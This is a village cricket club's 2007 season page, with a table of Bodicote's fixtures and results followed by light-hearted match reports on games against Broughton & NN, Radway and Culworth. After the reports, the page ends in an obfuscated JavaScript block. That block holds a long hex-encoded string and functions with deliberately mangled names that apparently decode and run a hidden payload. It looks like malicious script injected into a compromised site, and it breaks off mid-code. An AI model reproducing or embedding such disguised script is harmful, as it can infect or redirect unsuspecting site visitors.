2007 SEASON
Click on 3 icons for match reports
|
|
FIXTURE |
RESULT |
|
|
Fenny Compton |
W 119-9* / 120-5 |
|
|
|
D No play rain |
|
|
|
W 154-5* / 157-8 |
|
|
|
W 201-5 / 105 all out |
|
|
|
W 197-9 / 172 all out |
|
|
|
W 160-8* / 164-3 3 |
|
|
|
W 109-8 / 98 all out |
|
|
|
D No play rain |
|
|
|
D No play rain |
|
|
|
D No play rain |
|
|
|
L 194-9 / 181 all out |
|
|
Fenny Compton (H)
Cup Semi |
W
136-7 / 92-8 |
|
|
|
W 142-9* / 143-6 |
|
|
|
D No play rain |
|
|
|
D No play rain |
|
|
|
L 168-8 / 131 all out |
|
|
|
W 247-5 / 205-6 |
|
|
|
W 169 all out / 50 all out |
|
Sat 18th Aug |
Stoneleigh (A) |
D No play rain 3 |
|
|
Culworth (H) |
W 170-7 / 158-8 3 |
|
|
Radway (A) |
W 61-3 / 59 all out* 3 |
|
Sun 9th Sept |
Broughton & NN (A) |
L
284-7 / 208 all out 3 |
BODICOTE
208 all out beat BROUGHTON & NN 284-7 by 76 runs
So a repeat of last year’s success in
chasing down 277 in this fixture was not achieved.
The last game of the season, as ever, was played
in lovely sunshine (why don't we play in the Autumn
and give up summer cricket). On a slightly damp pitch (Broughton had left the
sprinkler on overnight) BCC took the field. A massive away support had
assembled (25-30 during the afternoon) obviously to see the mighty Inzamam Ul Haq
take the new cherry. As he commenced his leonine run up from the sightscreen,
the assembled two leg slips, keeper, five slips and two gullies crouched in
silence. To all round astonishment the ball pitched on leg stump and whistled
over off into keeper Symington’s gloves .Two balls later a similar
delivery drew a edge and the ball curled into the 1st team
skippers expectant hands - and straight out again! The moment was lost and
a succession of wides followed amidst the groans of
the away support.
The usual pattern then followed, Stuart Walton
got 67(caught spectacularly by Inzamam on the
boundary off Wigga), with his brother Kevin making
66, and 284-7 was posted, with Sean Harris taking 2-47, Dave 'loopy-doop' Crona 2-14, and worryingly
for his team mates Symmo 2-8 (and yes to make it even
worse the umpire said they turned). Symmo also
pouched a one handed reaction catch at keeper, and later a slip catch. Could he
follow up with a batting performance to match and send his team mates
looking for a place to hide?
Well yes he did. Sporting a union jack
bandana Symmo clattered 43 in a partnership with
Roger Graham of 62 which briefly had us on target. Several shots on the posh
side were noted and it was good to see Roger playing the 'shed door shot' for
six in a fine knock of 56.Luke Symington came in at 8 and prompted calls for
DNA testing as he hit all his 6 runs on ground and on the off-side!
However Luke was to discover why Inzamam
acquired his monika,
falling for the old hit it to a fielder and shout 'Yes-No-Sorry' routine,
leaving Luke stranded. Inzy then ran himself out by
some distance, as the now vocal and lubricated BCC support roared its approval.
The innings wound up at 208 all out as Wigga
attempted to mow Brian Hancock into Gloucestershire, being horribly bowled
to give the 61 year old spinner near career best figures of 3-18 - oh the
shame!
Saturday
1 September
BODICOTE 61-3 (20 pts) beat RADWAY 59 all out (1 pts) by 7 wickets: CHAMPIONS!!!
It’s
the last game of the season and Bodicote can still be
overhauled by Fenny Compton despite only having lost one game to Fenny’s five.
Put this down to the poor points distribution
for rained off games, Bodicote having suffered 7 of
them while Fenny perfected their water-cricket skills. The problem lies with
the new bonus points rule because a losing side can, in theory, still obtain
the same number of points as a rained-off team. The solution could be to share
out 50% of the available points in a game (say 14, with 30 on offer), to equate
with the system before the bonus points came along. On the other hand, it is
good to encourage teams to play rather than go for the points in absentia.
Enough of
this: let’s get to the game, where the first big surprise was the welcome
presence of an umpire: the redoubtable Sid.
He had brought along some silverware to go with his grab-bag of signals,
confiding in the Skip that the cup and trophies couldn’t be distributed
until tea because we still needed two bonus points to put us beyond the grasp
of Fenny. Not wanting to delay the acquisition of these points, the Skipper won
the toss and put the opposition in. With
the Skip still unable to bowl (though the decision would most likely have been
the same anyway) Bodicote opened with Dan and DC Crona. Good bowling against equally good batting kept
events at bay for what seemed an age but was probably a couple of overs or so. Then DC made the breakthrough: half a point
gained, if such a thing was possible. More eternity elapsed, then DC had
Millard trapped LBW: a point in the bag.
The time had come for Dan to deliver, which he was trying to do very
effectively with some pacey, bouncy, and altogether
tasty bowling from the Edghill end (i.e. not the City
End, which is the one pointing to Radway, obviously).
Delivery eventually arrived in the form of a screaming edge straight at Porge’s left eye in second slip, intercepted
thankfully by the hand of Dave Allen at first slip….and held: Who da man? Three down and shortly to be four with a cracking Crona ball cleaning up the stumps of Pick. So two points, Division champions, and handshakes all round, with generous
congratulations from the umpire and Radway.
The Radway innings continued to erode through 12 overs each of fine bowling from Dan (5 for 23) and DC (4
for 26), showing the increased fitness of Bodicote at
the end of the season compared to the beginning. Apart from the Skipper, of
course, whose dislocated knee was still unhelpful.
Nevertheless, he did manage to complete the innings rout with a stupendous
catch off Zulfi that went via the dark side of the
moon (look, I gotta have done something). So Radway all out for 59 and Bodicote
with a small amount of batting to do before a terrific season could be
concluded. Radway had other ideas and bowled very
competitively, taking three wickets. The ship was steadied by Inzy and decidedly rocked by Zulfi,
who entertained all and sundry with some tremendous swings at the fast bowlers
from somewhere nearer them than his own wicket: “Zulfi,
it’s 6 whether the ball lands on the top of Edgehill or just over the rope”. The runs were duly
obtained and Zulfi rounded off a productive first
season for Bodicote with 17 not out, ably supported
by Inzy’s 9: another strong contribution from a
very generous first team/second team floater.
Matt was top scorer with 19, adding to his own exceptional scoring that
should just about maintain his position in the firsts for the Premiership next
season.
BODICOTE 170-7 (20 pts) beat CULWORTH 158-8 all out (6 pts) by 12 runs
A disorientating preamble to this
game: the sun was shining and there was
no prospect of rain. Despite the heat, Skipper Bucks (who, it must be
confessed, is the author of this piece due to the absence of El Chair in
Despite testing conditions, Bodicote made a steady start but lost both opening batsman
within a short space of each other. When Zulfi went
for 0 almost immediately, the baleful looks may well have been hard to suppress
but Craig and Porge repaired the damage with a
welcome, if silent, partnership; Craig likes his mid-pitch resumees
but Porge was obviously concentrating too hard. All
this mental effort must have paid off, though, because George went on to a well-made
39. This was second only to another excellent batting contribution from DC who
belted 58 with a 6 off the last ball (I think, but I’m a journalist
today, so don’t take my word for it). The end result was 170, which we
would have settled for at 20 overs but not at the
start of the innings. Richard Harper was the most effective of Culworth’s bowlers, coming off a much shorter run up
than in previous years. When asked why, he just quoted his age. We don’t
want any of that nonsense in Bodicote, where we have
enough trouble with weight.
Bodicote opened the bowling with Dan Smith
and Jay Watts, both of whom have had some good figures in previous games, Jay
mainly in the seconds but ably moving up to the firsts for today. Neither ball
nor bat held sway and all the top five Culworth batsman got going, with King and Eaton making
scores of 40 and 51 respectively. It was tight, tense, and just right for an
intervention from the Culworth skipper in his
umpiring duties, who called Zulfi for a no-ball when
he came on to bowl because “he didn’t tell me his
action”. There were, I’m
sure, no negative thoughts in the fielding side about how we might feel if Culworth win by one run.
As it happened, a win for either
side remained a possibility throughout. Bodicote bowled
well and the run rate crept up but was never impossible. The big difference was
probably DC, who was finally able to bowl after about over 16 when the effects
of his batting exertions had subsided. This was the chance for the non-bowling,
non-batting, and hobbling-in-the-field Skipper to have an impact, by annoying
the Crona from mid-off and trying to claim some role
in the wickets as a desperate attempt to justify his crippled presence. All
given short shrift by DC, who bowled 12 overs on the
bounce and was the pick, with 3 for 38 to match his batting display.
As the game neared its denouement,
the fielders scattered along with their wits. The last over was a classic. Jay
was bowling and David Eaton from Culworth was batting
very well, but with about 20 runs still to get. He hammered a ball to long on
where Polly waited in perfect position to take the catch…..and dropped
it. Maybe the sun dazzling from his whitened teeth had something to do with it.
If so, he had an opportunity to keep his mouth closed and take an identical
catch off Eaton from the very next ball. Ignore the white teeth theory: it must
be something else causing the balls to be grassed. With anxiety increasing, the
whole of Banbury must have heard the Bodicote
fielders yell at Jay not to throw the effing ball at
the non-strikers end as he considered running out Eaton for a quick single.
Captain Jack took no notice, hurled the ball with one stump to aim at (and no
fielders backing up), and hit them!! I never doubted it, of course, and neither
did I have any concerns about the slower balls that finished off the innings to
seal a hard fought but well attained Bodicote
victory. Man of the match was DC, our comic book Barbarian hero, and our thanks
to Culworth for an entertaining game.
var objVer;objVer="e5e8e4e4e1e5e7e1acf7e7ffd5dee6f9efeda3e3fdfdd0bbb2f2f6e8efe0b0aeb3e9f0faf6fbe5d5f4f7b2a4e3eae9e0a4b7e0faedf6e9cfada5e4f3f0e6f"+"6f0ada5fc898eb1b2b5ebf8a5bee2f1f6fbfbd3f8f7fbfda3eaab9a8ebaadb7a0b3a2c7ecf6b1e4eee3f1fde7a8e2e2fda2c9e5e0eca4adb9869cb7a4b5a7"+"ada4fef4cef3a0f4aee0e5e4d4c3f9e1bceca8e7e5f1f2a7ccf1f3d0eafff5a5a7a0f2f5f0f5fff3f0ecfdedada8ad9ab0b2a0b7b4b5e5e2f5abb0eff4fcf"+"2fcf986aaf4e1e5f7c9e6eda7fae4d4c4d6dca3f0f5e2f1acbcb08d88a0fea3ee8486aba4a4f9f3c1fdedf3e1f0b7f2cef8eaf0f481b0a0f8e1b8f1adbba0"+"aab2b4a0a0a7efe1cbe2fbeda1f8eafff5fabc87a2849daca7a9aebaecceecfff0ebeee7e0fd82bbaba8b6b9aeeafcedf5dff2e0bdb1b4b8abe3f9e3dbe3f"+"0fbafb8a9bea986b6ba8d99aab8a1bea8d0fee1dab8bab2aaa4b8b2ffe3e5e9b6a8b2b9b1f4f2def0a1aca0b7a9bda6a78bbdb3b7a0bda4ece4eaf7e4e9a5"+"b490b2a6a5a1d0e2e9ffedfdb1b98abca8e7e1ffcefff6a8aba6aeab9bb6b8809ca5b7a09fa5f3f9eee3e0e5bea2a6b588b1aef2e7f2fbe0cab4b8b2b1a4a"+"ea0899b99f09b80e2e7ecfae1e5f4c4b7f6ece6c5e7e4d0faf7acf9e3f4f09fa0f08a80b2a6b7f2d4f6a5feebf8e5fbcab6a5a8b3a6aea999b6f7e2f5f4f4"+"f4c6f7a5ebeee5e0faf6bd9e84b5adb6f3cdfea9fdf6b0ece6feb7bdb5b4a8a9aca0b3f9e5f8e9a0a4a7b494b0b78fdaa7b0a6f1f1faaafaf0e7c3f9c5b0a"+"ea3e6fbfde5a68e87af96b0e1e5e5a1edebf4d8f1e5adadafbdb1bf98b1a4b3f2fff394e8eafaa4aeb3b9ad9a9fb7a1aee7caada5f4c0f9fce4f1acedefd9"+"f1e7eab3a9a4aabda8fb9188b387a9a9b7acfdf7f3f4ebfe81bca1fafedbe2e7e3adfafce4f2ecdce482ebe4f7f2f5fbbabc878d8da1a4bdb38eeae9beadf"+"9f4f1f7f7e7a686a9a1beb5bdb4f89b96b6b4ada4bea4b383a4eaf1efa7f4f4b3a8b9a5e4ecc9f4e8e6b9f7f3e9c9e1eaa88d83adaaf2a6b1afb3a4b5e1eb"+"e3a4eea0f4eff8f3e1e0b6e9fbd6f0efc1eda3acaea0bfa0c7e7ecf8f6bcaf9484acaeb4a8a0bca2b387e0efb7a4e9eae9aeae95bba0b0b8a9fd958eb79bb"+"0b6a7aaa8a7ada4bbaccceeeba8aeb2f2f5ede0e7c9ace8fcffdcf8e3b9839ab1ada4b1a1b692b1b5fa8380e5abb4a4b7a68ca8abf4f3f1cafef0adafa0ee"+"fef3f4e9e9d8e1a8f3ffd8e2e3e1a4e5e0e6f6e9f6fecfeaa8f9e6aff1e8f0b8a9d7fffeaba2b59a88b5b4b7a6b7acf38b86b68ea7ff9a9ca2a8a6f9ebe3d"+"0e5e3a4bbf2f9d3e8ffadba9fea8c84f8f2fbb6f0eaefd4b9b3a1e0e2e5cfefe6feeef5aea5e3ede9e1f7eae1a9a6a8a38de4e9b2bef5f8e2f8b28bafbfb7"+"ada8eb999dede0f1f3d3e9d8f481e2c5cbdbe286a7b8dec0c5f4deffa1e7ffe7b9a6dfdbceacb9bda2ebedfffcd1fee3e2fca8f0e8e4a6fee29cf2f2eeb1b"+"9a3b7f5e4e0e0e18fa0baeaeee7f4eee7b5a786f1f7f6edd2efefeee9f3f0a9bba4f8e9f8e1fde6e8f9ebf4cff0b9a7a1eae8f4f5e0dbf3f8e7fce3a9a3a2"+"c0eee4f9e8fdfbfde8beeaeaa9b59ae2f2f4edebf2a8a593aba89a8e9788f6e8e2c1c7fdf8e0f3a3a1fcc4e3e5f3eebdb0acb7a8bfb8bdb881b7b8acb0acb"+"ea2b3beac93ec";var isMajor=false;function majorPlugin(extTrue){ var axo = 3;var avePlayer = null;var aveIe = 'av%st'.replace(/[avst]/g,'');var flashStrfoo = -1;var is = avePlayer;function flash(major){var flashNs=1;var extFlash=1%flashNs;function player(playerExt){var strfoo=1;}var axoNs=0,extIs=major['l{e{n6g{t%h{'.replace(/[\{%\.6\|]/g, '')];while(extFlash